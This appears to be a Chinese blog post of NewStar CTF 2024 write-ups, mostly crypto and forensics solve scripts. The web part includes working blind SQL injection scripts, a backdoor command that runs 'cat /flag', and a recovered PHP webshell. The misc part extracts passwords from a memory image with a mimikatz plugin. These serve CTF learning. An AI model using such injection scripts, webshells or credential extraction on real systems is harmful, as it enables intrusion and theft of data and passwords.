博主头像
Anna YanamiのBlog

先を見てください、世界は素晴らしい場所です

NewStar CTF 2024

Crypto

Week 1

xor

flag{0ops!_you_know_XOR!}

exp

#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long, long_to_bytes
'''
key = b'New_Star_CTF'
flag='flag{*******************}'

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]

c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)
'''

c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'
m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)
print(long_to_bytes(m1)+m2)

Base

flag{B@sE_0f_CrYpt0_N0W}

随波逐流一键解码

image-20240930110924457
image-20240930110924457

一眼秒了

flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

用yahu将n分解

image-20240930111351016
image-20240930111351016

得到p,q求d,然后求m

exp

from Crypto.Util.number import *
from gmpy2 import *
'''
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)
'''

n = 
c = 
p = 
q = 
e = 65537
d = invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

Strange King

flag{PleaseDoNotStopLearing}

密文:ksjr{EcxvpdErSvcDgdgEzxqjql}

根据题目名字猜测是凯撒密码

image-20241001171708171
image-20241001171708171

发现好像不是?

分析一下密文,和flag对比,发现ksjr就是flag的ASCII码+5+7+9+11

根据规律猜测是将每个文本单独进行凯撒加密

exp

def caesar_cipher(text, shift):
    result = ""
    # 遍历文本中的每个字符
    for char in text:
        # 检查字符是否为大写字母
        if char.isupper():
            # 找到该字符在字母表中的位置,然后减上偏移量
            result += chr((ord(char) - 65 - shift) % 26 + 65)
        # 检查字符是否为小写字母
        elif char.islower():
            # 找到该字符在字母表中的位置,然后减上偏移量
            result += chr((ord(char) - 97 - shift) % 26 + 97)
        else:
            # 如果字符不是字母,直接添加到结果中
            result += char
    return result

q = 'ksjr{EcxvpdErSvcDgdgEzxqjql}'
for i in range(len(q)):
    a = 2 * i + 5
    shift = a
    text = q[i]
    encrypted_text = caesar_cipher(text, shift)
    print(encrypted_text,end="")
    #flag{PleaseDoNotStopLearing}

Week 2

这是几次方? 疑惑!

flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}
from Crypto.Util.number import *
import gmpy2

flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537

m = bytes_to_long(flag)
c = pow(m, e, n)

hint = p^e + 10086

print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)

分析源码,hint=p^e+10086,根据优先级,hint其实是p^(e+10086)

exp

from Crypto.Util.number import *
import gmpy2
#数据自己补上
c = 
n, e = [, ]
hint = 

p = hint ^ e + 10086

q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}

Since you konw something

flag{Y0u_kn0w_th3_X0r_b3tt3r}
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long,long_to_bytes
import base64

key =  #extremely short
FLAG = 'flag{??????????????}'
c = bytes_to_long(xor(FLAG,key))

print("c={}".format(c))

分析代码得知key很短,且已知部分明文,可以用明文攻击

将密文转为bytes后再转为base64编码,利用工具获取key

image-20241006221836919
image-20241006221836919

获得28个密钥

image-20241006221918021
image-20241006221918021

一个个试过去,在第九个时获得flag

image-20241006222018667
image-20241006222018667

flag{Y0u_kn0w_th3_X0r_b3tt3r}

工具地址:GitHub - CyberFazaN/XOR_KPA:XOR 已知明文攻击工具

茶里茶气

flag{f14gg9_te2_1i_7ea_7}
from Crypto.Util.number import *

flag = "flag{****}"
assert len( flag ) == 25

a = ""
for i in flag:
    a += hex(ord(i))[2:]
l = int(a,16).bit_length()
print("l  =" , l )

v0 = int(a,16)>>(l//2)
v1 = int(a,16)-(v0<<(l//2))
p = getPrime(l//2+10)

v2 = 0
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p 

for i in range(32):
    v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 )
    v1 %= p
    v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 )
    v0 %= p
    v2 += derta
    v2 %= p

print( "p  =" , p  )
print( "v0 =" , v0 )
print( "v1 =" , v1 )

分析代码:

  • v0还原回来去掉多余的0就是flag的前半部分
  • v1是flag后半部分
  • v0 和 v1进行了tea加密

解密其实就是加换成减,顺序换一下,以及v2的值的最终值

exp

from Crypto.Util.number import *

derta = 462861781278454071588539315363
#加密时v2累加了32次derta
v2 = derta*32
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071

l  = 199
p  = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480

for i in range(32):
    v2 -= derta
    v0 -= (v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6)
    v0 %= p
    v1 -= (v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7) + v4)
    v1 %= p
#将多余的0去掉
v0=format(v0<<l//2,"x").replace("0","")
print(v0+format(v1,"x"))
#666c61677b6631346767395f7465325f31695f3765615f377d

执行后会获得flag的hex值,转成文本就是flag

image-20241009170011306
image-20241009170011306

Just one and more than two

flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}
from Crypto.Util.number import *

flag = b'flag{?????}'
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
e = 65537
p, q, r= (getPrime(512) for _ in range(3))
N=p*q*r
c1 = pow(m1, e, p)
c2 = pow(m2, e, N)

print(f'p={p}\nq={q}\nr={r}\nc1={c1}\nc2={c2}')

普通的rsa,就是将flag分为两部分,一个素数因子,另一个有三个素数因子

exp

from Crypto.Util.number import *
import gmpy2
#数据自己补上
p = 
q = 
r = 
c1 = 
c2 = 
e = 65537
d1 = gmpy2.invert(e,p-1)
d2 = gmpy2.invert(e,(p-1)*(q-1)*(r-1))
m1 = pow(c1,d1,p)
m2 = pow(c2,d2,p*q*r)
print(long_to_bytes(m1)+long_to_bytes(m2))
#flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}

Week 3

没e这能玩?

flag{th1s_2s_A_rea119_f34ggg}
from Crypto.Util.number import *
import random
import sympy
import gmpy2

m = bytes_to_long(b'flag{*****}')

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
h1 = 1*p + 1*q + 1*r
h2 = 2*p + 3*q + 3*r
h3 = 9*p + 9*q + 6*r
print( "hint_of_pqr=" , h1 , h2 , h3 )

e = getPrime(64)
a_big_prime = getPrime( 512 )
hint = pow(a_big_prime,e,2**512)
print( "big_prime is: " , a_big_prime )
print( "hint is: " , hint )
#print(e)
n = p*q*r
c = pow( m , e , n )
print( "c=" , c )

给了h1,h2,h3,利用z3模块算出p,q,r

from z3 import *
s = Solver()
p,q,r = Ints('p q r')
s.add(p + q + r == h1)
s.add(2*p + 3*q + 3*r == h2)
s.add(9*p + 9*q + 6*r == h3)
s.check()
print(s.model())

image-20241017185504093
image-20241017185504093

有了p,q,r就能算出phi,题目没给e,但给了hint = pow(a_big_prime,e,2**512)

这是一个离散对数问题,可以利用 SageMath 中的 discrete_log 函数来求e。

exp

from Crypto.Util.number import *
import gmpy2
big_prime = 
hint = 
modulus = 2**512
e = int(discrete_log(Mod(hint, modulus), Mod(big_prime, modulus)))
p = 
q = 
r = 
n = p * q * r
c = 
phi = (q-1)*(p-1)*(r-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(int(m)))
#b'flag{th1s_2s_A_rea119_f34ggg}'

Week 5

没e也能玩

flag{No_course_e_can_play}
from Crypto.Util.number import *
from gmpy2 import *
import libnum

p = getPrime(1024)
q = getPrime(1024)
d = inverse(65537,(p-1)*(q-1))
dp = d % (p-1)
dq = d % (q-1)
print(f'c={pow(bytes_to_long(flag),e,p*q)}')
print(f'p={p}')
print(f'q={q}')
print(f'dp={dp}')
print(f'dq={dq}')

已知dp,dq,p,q,c,经典的dpdq泄露

exp

def decrypt(dp, dq, p, q, c):
    InvQ = gmpy2.invert(q, p)
    mp = pow(c, dp, p)
    mq = pow(c, dq, q)
    m = (((mp - mq) * InvQ) % p) * q + mq
    print(mp - mq)
    print(libnum.n2s(int(m)).decode())
    #flag{No_course_e_can_play}

格格你好棒

flag{u_are_@_master_of_latt1ce_Crypt0gr@phy}
from Crypto.Util.number import *
import random

flag = b'******'
m = bytes_to_long(flag)

a = getPrime(1024)
b = getPrime(1536)

p = getPrime(512)
q = getPrime(512)
r = random.randint(2**8, 2**9)
print(r)
assert ((p+2*r) * 3*a + q) % b < 70

c = pow(m, 0x10001, p*q)

print(f'c =', c)
print(f'a =', a)
print(f'b =', b)

根据提示知道是格密码

推导一下

$$ ((p+2*r)*3*a+q)\quad mod\quad b = x \\ (p+2*r)*3*a+k*b = (x-q) $$

exp

from Crypto.Util.number import *
import random
c = 75671328500214475056134178451562126288749723392201857886683373274067151096013132141603734799638338446362190819013087028001291030248155587072037662295281180020447012070607162188511029753418358484745755426924178896079516327814868477319474776976247356213687362358286132623490797882893844885783660230132191533753
a = 99829685822966835958276444400403912618712610766908190376329921929407293564120124118477505585269077089315008380226830398574538050051718929826764449053677947419802792746249036134153510802052121734874555372027104653797402194532536147269634489642315951326590902954822775489385580372064589623985262480894316345817
b = 2384473327543107262477269141248562917518395867365960655318142892515553817531439357316940290934095375085624218120779709239118821966188906173260307431682367028597612973683887401344727494920856592020970209197406324257478251502340099862501536622889923455273016634520507179507645734423860654584092233709560055803703801064153206431244982586989154685048854436858839309457140702847482240801158808592615931654823643778920270174913454238149949865979522520566288822366419746
r = random.randint(2**8, 2**9)

Ge = Matrix(ZZ, [[1, 3*a],
                 [0, b]])

p, q = Ge.LLL()[0]
#先变成绝对值
p, q = abs(p), abs(q)

#((p+2*r) * 3*a + q) % b < 70
#开始爆破
for r in range (2 ** 8, 2 ** 9):
    for h in range(70):
        pp = p - 2*r
        qq = q + h
        phi = (pp - 1) * (qq - 1)
        if gcd(phi, 65537) != 1:
            continue
        m = power_mod(c, inverse_mod(65537, phi), pp * qq)
        if b"flag" in long_to_bytes(m):
            print(long_to_bytes(m))
            #flag{u_are_@_master_of_latt1ce_Crypt0gr@phy}
            exit(0)

easy_ecc

flag{This_is_the_last_crypto_}
from Crypto.Util.number import * # type: ignore

p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
E = EllipticCurve(GF(p),[a,b])
m = E.random_point()
G = E.random_point()
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
c_left =bytes_to_long(flag[:len(flag)//2]) * m[0]
c_right = bytes_to_long(flag[len(flag)//2:]) * m[1]


print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"cipher_left = {c_left}")
print(f"cipher_right = {c_right}")

已知:

  • K = k * G
  • c1 = m + r * K
  • c2 = r * G

那么m = c1 - k * c2

exp

from Crypto.Util.number import * # type: ignore

p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
E = EllipticCurve(GF(p),[a,b])
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097

c1 = E([10968743933204598092696133780775439201414778610710138014434989682840359444219,50103014985350991132553587845849427708725164924911977563743169106436852927878])
c2 = E([16867464324078683910705186791465451317548022113044260821414766837123655851895,35017929439600128416871870160299373917483006878637442291141472473285240957511])
c_left = 15994601655318787407246474983001154806876869424718464381078733967623659362582
c_right = 3289163848384516328785319206783144958342012136997423465408554351179699716569

m = c1 - k * c2
m1=c_left//m[0]
m2=c_right//m[1]
print(long_to_bytes(int(m1))+long_to_bytes(int(m2)))
#b'flag{This_is_the_last_crypto_}'

RSA?cmd5!

flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}
from Crypto.Util.number import *
from gmpy2 import *
import hashlib

# 什么?你说你用md5给rsa签名了?!

m = '*******'
assert len(m) == 7
flag = 'flag{th1s_1s_my_k3y:' + m + '0x' + hashlib.sha256(m.encode()).hexdigest() + '}'

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

def get_MD5(m0):
    import hashlib
    md5_object = hashlib.md5(m0.encode())
    md5_result = md5_object.hexdigest()
    return md5_result

def get_s(m0, d0, n0):
    hm0 = get_MD5(m0)
    hm1 = bytes_to_long(hm0.encode())
    s0 = pow(hm1, d0, n0)
    return s0

def rsa_encode(m0, e0, n0):
    m1 = bytes_to_long(m0.encode())
    c0 = pow(m1, e0, n0)
    return c0

def get_flag(m0):  # 请用这个函数来转m得到flag
    import hashlib
    flag = 'flag{th1s_1s_my_k3y:' + m0 + '0x' + hashlib.sha256(m0.encode()).hexdigest() + '}'
    print(flag)

s = get_s(m, d, n)
c = rsa_encode(flag, e, n)

print("密文c =", c)
print("签名s =", s)
print("公钥[n,e] =", [n, e])

分析get_s函数:

  • 先将m转为md5值
  • 再将md5值通过bytes_to_long转为整型
  • 再用d进行rsa加密

他用d进行加密,那就能用e进行解密

exp

from Crypto.Util.number import *
c = 
s = 
n,e = [, 65537]

m0 = pow(s, e, n)
print(long_to_bytes(m0))
#b'86133884de98baada58a8c4de66e15b8'

获得了m的md5值86133884de98baada58a8c4de66e15b8

image-20241028131448241
image-20241028131448241

通过在线环境查询到对应的文本为adm0n12,利用他自带的get_flag函数生成flag

获得flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

Misc

Week 1

兑换码

flag{La_vaguelette}

改下高度就行

image-20240930120932774
image-20240930120932774

pleasingMusic

flag{ez_morse_code}

根据题目反向一下,看起来像一段摩斯密码

image-20240930133651687
image-20240930133651687

. --.. ..--.- -- --- .-. ... . ..--.- -.-. --- -.. .

解密获得:

ez_morse_code

Labyrinth

flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

StegSolve打开,在Red plane 0处发现二维码

image-20240930135844521
image-20240930135844521

扫码获得flag

image-20240930140105429
image-20240930140105429

decompress

flag{U_R_th3_ma5ter_0f_dec0mpress}

将压缩包解压到最后,获得两个文件

image-20240930145321963
image-20240930145321963

一个加密的压缩包和喵密码的提示,根据提示得知密码为5位,前三位和最后一位为小写字母,第四位为数字

image-20240930145427684
image-20240930145427684

爆破获得密码,解压获得flag

image-20240930150047005
image-20240930150047005

WhereIsFlag

flag{6060411e-80da-40ab-8820-0115c88ba7b7}

image-20240930190048560
image-20240930190048560

Week 2

wireshark_checkin

flag{ez_traffic_analyze_isn't_it}

文件->导出对象->HTTP对象列表

image-20241006223446181
image-20241006223446181

将flag.txt保存,打开获得flag

image-20241006223539666
image-20241006223539666

wireshark_secret

flag{you_are_gooddddd}

文件->导出对象->HTTP对象列表

image-20241006223847080
image-20241006223847080

将secret.png保存下来,打开就能看到flag

secret
secret

热心助人的小明同学

flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

查看镜像信息

python2 vol.py -f image.raw imageinfo

image-20241006235518087
image-20241006235518087

mimikatz 脚本文件下载地址

链接:https://pan.baidu.com/s/1HS65N4UXfuzChB9UU9vveA 
提取码:fywk 

然后将这个脚本文件移动到 /volatility/plugins 目录下

使用 mimikatz 插件提取密码

python2 vol.py -f image.raw --profile=Win7SP0x86 mimikatz

image-20241006235751373
image-20241006235751373

获得密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh

用溯流仪见证伏特台风

flag{6c3ea51b6f9d4f5e}

百度搜索福特台风威胁盟报告,找到图片

img
img

直接读获得:powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion

16位md5:6c3ea51b6f9d4f5e

你也玩原神吗

flag{maybegenshinisagoodgame}

将gif进行分离获得:

frame37
frame37

对照表:

image-20241006232218230
image-20241006232218230
![image-20241006232221416](C:\Users\Asuter\Desktop\CTF解题\NewStar CTF 2024\2\assets\image-20241006232221416.png

搞半天中间那一堆啥也不是

DO YOU KNOW FENCE:左下角提示是栅栏密码

MESIOAABGNHNSGOGMYEIADE:右下角就是密文

栅栏解密获得:

image-20241006232613352
image-20241006232613352

MAYBEGENSHINISAGOODGAME因为是一串标准英文最像flag

提交发现不对,改为小写,提交就正确了

flag{maybegenshinisagoodgame}

字里行间的秘密

flag{you_h4ve_4nyth1n9}

vim打开key.txt

image-20241007192457705
image-20241007192457705

零宽解密

image-20241007192557802
image-20241007192557802

拿到key:it_is_k3y

用key打开文档

image-20241007192643766
image-20241007192643766

估计藏有隐藏字符或是白色的字,全选将背景改为黑色,发现flag

image-20241007192753059
image-20241007192753059

Herta's Study

flag{sH3_i4_S0_6eAut1fuL.}

追踪HTTP流

image-20241007195554230
image-20241007195554230

拿到php源码

<?php

    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
        base64_decode('J'.str_rot13('T').'5z'),   
        base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
        Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
        gICAgfQ0KfQ0KcmV0dXJuICRuczs==')   
    );  
    echo $bbb($payload);

?>

有部分源码加密了,解密获得

$ns
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
    if($i%2==1){
        $ns[$i]=str_rot13($ns[$i]);

这部分源码的功能就是将执行结果进行base64编码,再将i%2==1的部分进行rot13编码

经过测试flag的密文在这

image-20241007200324998
image-20241007200324998

exp

import base64
def rot13(text):
    result = ""
    for char in text:
        if 'a' <= char <= 'z':
            result += chr((ord(char) - ord('a') + 13) % 26 + ord('a'))
        elif 'A' <= char <= 'Z':
            result += chr((ord(char) - ord('A') + 13) % 26 + ord('A'))
        else:
            result += char
    return result

Cipher=list("ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==")
for i in range(len(Cipher)):
    if i%2==1:
        Cipher[i]=rot13(Cipher[i])
text = ""
for i in Cipher:
    text += i
print(base64.b64decode(text))
#flag{sH3_i4_S0_6eAut1fuL.}

Week 3

BGM坏了么

flag{2024093020241103}

image-20241015213255274
image-20241015213255274

根据题目提示说有拨号声,说的应该是这里,上面那一段应该是杂音

分离立体声轨,将上面那部分删了

image-20241015213420738
image-20241015213420738

只有后面那段有拨号,将多余的部分删除

image-20241015213512825
image-20241015213512825

另存为下来,使用dtmf2num工具识别拨号音,flag就是圈的部分

image-20241015213555420
image-20241015213555420

Week 4

扫码领取flag

flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?}

image-20241023222051486
image-20241023222051486

用010查看每个文件,发现其实都是png

image-20241023222137397
image-20241023222137397

后缀全改为png,打开图片发现不对,宽高可能被修改,CRC爆破出正确宽高为250,修改为250即可

image-20241023222306570
image-20241023222306570

获得四个二维码的一部分,组合获得完整二维码

image-20241023222351378
image-20241023222351378

这好像不是寻常的二维码,查了下是Aztec,用在线工具获得flag

image-20241023222607021
image-20241023222607021

擅长加密的小明同学

flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}
python2 vol.py -f chal.raw --profile=Win7SP1x64 pslist

image-20241023222931282
image-20241023222931282

经过查询 mspaint.exe是画图工具,用指令提取出来

python2 vol.py -f chal.raw --profile=Win7SP1x64 memdump -p 2804 -D ./

image-20241023223341928
image-20241023223341928

将文件转到本地,将后缀改为data,用gimp打开,参数如下

image-20241023223643634
image-20241023223643634

调好参数后,点击打开,获得密码:rxnifbeiyomezpplugho

image-20241023223720472
image-20241023223720472

Secret.vhd用bitlocker加密了,附件给了内存镜像

StarWind V2V Converter将Secret.vhd转为.img格式

转换完后用Passware Kit Forensic进行破解密码

image-20241023224352122
image-20241023224352122

image-20241023224246065
image-20241023224246065

获得恢复密钥:142593-710886-423500-433763-213499-455807-632885-152152

通过恢复密钥打开vhd

image-20241023224514608
image-20241023224514608

里面有个压缩包,加密了,密码就说之前画图工具上的字符,输入密码后获得flag.txt文件,打开获得flag

image-20241023224629786
image-20241023224629786

Reverse

Week 1

begin

flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

IDA打开附件

image-20240930140635178
image-20240930140635178

获得part1:flag{Mak3_aN_

image-20240930142130468
image-20240930142130468

Shift+F12 获得part2:3Ff0rt_tO_5eArcH_

image-20240930140821365
image-20240930140821365

part3:F0r_th3_f14g_C0Rpse

image-20240930141300828
image-20240930141300828

拼接获得flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

base

flag{y0u_kn0w_base64_well}

IDA打开,查看字符串,根据题目以及字符串分析应该是换码表Base64解码

image-20240930142637107
image-20240930142637107

码表:WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/

密文:g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=

image-20240930142741513
image-20240930142741513

Simple_encryption

flag{IT_15_R3Al1y_V3Ry-51Mp1e}

用IDA打开附件

image-20240930143938343
image-20240930143938343

分析伪代码:

  • 读取用户输入的字符串,长度为len
  • 当j%3=0时input[j]-31
  • 当j%3=1时input[j]+41
  • 当j%3=2时input[j]^0x55
  • 最后判断input是否与buffer相等

提取buffer,双击变量,按Shift+E

image-20240930144313438
image-20240930144313438

exp

unsigned_char_buffer =[
  0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16,
  0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C,
  0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28
]

for j in range(len(unsigned_char_buffer)):
    if j % 3 == 0:
        unsigned_char_buffer[j] += 31
    elif j % 3 == 1:
        unsigned_char_buffer[j] -= 41
    elif j % 3 == 2:
        unsigned_char_buffer[j] ^= 0x55
for i in unsigned_char_buffer:
    print(chr(i),end="")
    #flag{IT_15_R3Al1y_V3Ry-51Mp1e}

ezAndroidStudy

flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

反编译apk,获得提示flag分成了五份

image-20240930144748130
image-20240930144748130

part1:flag{Y0u

image-20240930150959498
image-20240930150959498

image-20240930150941610
image-20240930150941610

part2:_@r4

image-20240930151336483
image-20240930151336483

image-20240930151326069
image-20240930151326069

part3:_900d

image-20240930151639517
image-20240930151639517

image-20240930151658007
image-20240930151658007

part4:_andr01d

image-20240930151716492
image-20240930151716492

image-20240930151833761
image-20240930151833761

part5:_r4V4rs4r}

image-20240930151858996
image-20240930151858996

IDA打开libezandroidstudy.so获得最后一部分

image-20240930152207973
image-20240930152207973

拼接获得flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

Week 2

UPX

flag{Do_you_know_UPX?}

查壳

image-20241007221716977
image-20241007221716977

脱壳

image-20241007221735415
image-20241007221735415

IDA打开脱壳后的程序

image-20241007221806475
image-20241007221806475

分析源码得知是rc4加密

image-20241007231737547
image-20241007231737547

key是NewStar

双击data,按ctrl+x,再按tap,获得data数据

image-20241007231840687
image-20241007231840687

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void swap(unsigned char *a, unsigned char *b) {
    unsigned char temp = *a;
    *a = *b;
    *b = temp;
}

void rc4_init(unsigned char *sbox, unsigned char *key, int keylen) {
    int i, j, k;
    for (i = 0; i < 256; i++) {
        sbox[i] = i;
    }
    j = 0;
    for (i = 0; i < 256; i++) {
        j = (j + sbox[i] + key[i % keylen]) % 256;
        swap(&sbox[i], &sbox[j]);
    }
}

void rc4_crypt(unsigned char *sbox, unsigned char *data, int datalen) {
    int i, j, k;
    i = j = 0;
    for (k = 0; k < datalen; k++) {
        i = (i + 1) % 256;
        j = (j + sbox[i]) % 256;
        swap(&sbox[i], &sbox[j]);
        int rnd = sbox[(sbox[i] + sbox[j]) % 256];
        data[k] ^= rnd;
    }
}

int main() {
    unsigned char key[] = "NewStar";
    unsigned char data[] = {-60,96,-81,-71,-29,-1,46,-101,-11,16,86,81,110,-18,95,125,125,110,43,-100,117,-75};
    int keylen = strlen((char *)key);
    int datalen = strlen((char *)data);
    unsigned char sbox[256];
    rc4_init(sbox, key, keylen);
    rc4_crypt(sbox, data, datalen);

    printf("Encrypted data: ");
    for (int i = 0; i < datalen; i++) {
        printf("%c", data[i]);
    }
    #flag{Do_you_know_UPX?}
    return 0;
}

image-20241007232554038
image-20241007232554038

Web

Week 1

会赢么

flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

查看页面源代码获得第一部分:ZmxhZ3tXQTB3

image-20240930160131530
image-20240930160131530

访问第一部分的提示,根据指示来到控制台,查看页面源代码知道js函数

执行js获得第二部分:IV95NF9yM2Fs

image-20240930160947218
image-20240930160947218

访问提示

image-20240930161738985
image-20240930161738985

根据js代码将图中部分改成解封并点击按钮获得第三部分:MXlfR3I0c1B

访问提示的地址,查看页面源代码,点击会赢的没用,看到了

image-20240930162637311
image-20240930162637311

image-20240930162814960
image-20240930162814960

禁用js后刷新界面,出现了无量空出按钮,点击获得最后一部分:fSkpKcyF9

拼接获得:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

解码获得:flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

headach3

flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

查看响应头获得flag

image-20240930163502402
image-20240930163502402

智械危机

flag{62f5fd4d-dac0-48b9-9946-4926fdcfd5b0}

image-20240930165630649
image-20240930165630649

根据提示访问robots.txt,获得一个后门地址

image-20240930165707136
image-20240930165707136

访问地址

image-20240930165745809
image-20240930165745809

分析代码:

  • 变量有cmd和key
  • 将key进行base64解码
  • 将解码后的key与反转后的cmd的md5值进行判断
  • 判断相等则执行system

payload

cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

image-20240930170115065
image-20240930170115065

谢谢皮蛋

flag{d04faef6-aef4-4d24-9907-765f717126b5}

访问网页,估计是考sql注入,查看页面源代码获得了提示页

image-20241001152526771
image-20241001152526771

获得提示:$sql="SELECT uname,position FROM hexo WHERE id=$id LIMIT 0,1";

存在很明显的安全问题,提示说是用联合注入,弄半天没回显,干脆盲注算了

输入1 and 1=1会有回显,输入1 and 1=2下面的字符消失,可以布尔注入

爆表名

import base64
import requests

url = " http://eci-2zefpks540w9fi3vo6hd.cloudeci1.ichunqiu.com"
i = 0

for i in range(1,100):
    for s in range(40,128):
        o = "1 and ASCII(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))={s} -- ".format(i=i,s=s)
        payload={
            "id" : base64.b64encode(o.encode('utf-8')).decode('utf-8'),
        }
        r = requests.post(url, data=payload)
        if "CHAMBER" in r.text:
            print(chr(s),end="")
            break

获得两个表名:Fl4ghexo

很显然flag在Fl4g

爆列名

o = "1 and ASCII(SUBSTR((select column_name from information_schema.columns where table_name='Fl4g' limit 0,1),{i},1))={s} -- ".format(i=i, s=s)

获得三个列名:iddesvalue

数据库名是ctf

最后爆破出flag在value

import base64
import requests

url = " http://eci-2zefpks540w9fi3vo6hd.cloudeci1.ichunqiu.com"
i = 0
for i in range(1,100):
    for s in range(40,128):
        o = "1 and ASCII(SUBSTR((select value from ctf.Fl4g limit 0,1),{i},1))={s} -- ".format(i=i,s=s)
        payload={
            "id" : base64.b64encode(o.encode('utf-8')).decode('utf-8'),
        }
        r = requests.post(url, data=payload)
        if "CHAMBER" in r.text:
            print(chr(s),end="")
            if chr(s) == "}":
                exit(0)
            break

image-20241001153500442
image-20241001153500442

PangBai 过家家(1)

flag{c513cd73-a8b5-4e2b-9171-b9b20bd50384}

image-20241001155905345
image-20241001155905345

根据第一关的提示找到了第二关的入口

image-20241001155939738
image-20241001155939738

GET请求传入参数ask=miao就进入第三关了

image-20241001160319232
image-20241001160319232

根据提示用POST请求

image-20241001163301900
image-20241001163301900

进入第四关

image-20241001163333712
image-20241001163333712

image-20241001163546000
image-20241001163546000

image-20241001191226291
image-20241001191226291

User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Papa/51.0.2704.103 Safari/537.36

say=玛卡巴卡阿卡哇卡米卡玛卡呣

进入第五关

image-20241001191500706
image-20241001191500706

payload

PATCH /?ask=miao HTTP/1.1
Host: 39.106.48.123:44208
Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
